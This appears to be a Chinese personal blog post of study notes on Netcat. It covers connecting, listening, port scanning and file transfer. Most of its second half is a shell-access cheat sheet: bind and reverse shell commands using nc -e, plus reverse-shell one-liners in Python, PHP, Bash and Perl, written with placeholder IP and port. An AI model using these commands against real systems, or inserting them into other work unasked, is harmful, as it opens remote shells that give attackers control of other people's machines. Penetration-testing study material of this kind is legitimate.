Xcnte

NetCat使用指南
前言 博主老年痴呆,需要写笔记才能勉强记住东西。
扫描右侧二维码阅读全文
20
2018/05

NetCat使用指南

前言

博主老年痴呆,需要写笔记才能勉强记住东西。

正文

基本用法

连接远程主机:nc (-nvv) {ip} {port}
监听本地端口:nc -l -p {port}
持续监听端口:nc -L -l -p {port}

保存监听结果:nc -l -p {port} > {file}
持续保存结果:nc -L -l -p {port} > {file}

扫描主机端口:

nc -v {ip} {port}                // 扫描单个 TCP 端口
nc -v -z {ip} {start_port} - {end_port}     //扫描多个 TCP 端口 
nc -v -u {ip} {port}                // 扫描单个 UDP 端口
nc -v -u -z {ip} {start_port} - {end_port}  //扫描多个 UDP 端口 
nc -v -w {second} {start_port} - {end_port}     //设置停留时间

远程传输文件

nc {ip} {port} < {file}     // 传输端
nc -l -p {port} > {file}    // 接收端

获取权限

正向获取权限:

nc {ip} {port}              // 攻击主机
nc -lvp {port} -e {/bash/sh|cmd.exe}    // 目标主机

反向获取权限:

nc -lvp {port}              // 攻击主机
nc {ip} {port} -e {/bash/sh|cmd.exe}    // 目标主机

无 Netcat 获取反向 Shell:

Python 反向 Shell:

python -c 'import socket, subprocess, os;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2);p=subprocess.call(["{/bin/sh|cmd.exe}","-i"]);'

PHP 反向 Shell:

php -r '$sock=fsockopen("{ip}",{port});exec("{/bin/sh|cmd.exe} -i <&3 >&3 2>&3");'

Bash 反向 Shell:

bash -i>&/dev/tcp/{ip}/{port} 0>&1

Perl 反向 Shell:

perl -e 'use Socket;$i="{ip}";$p={port};socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));if(connect(S, sockaddr_in($p, inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' // 只能使用单引号

参考《"瑞士军刀"Netcat 使用方法总结》,仅供个人学习。

Last modification:June 13th, 2019 at 07:36 pm
如果觉得我的文章对你有所帮助,请随意赞赏

Leave a Comment

One comment

  1. 幼稚鬼

    沙發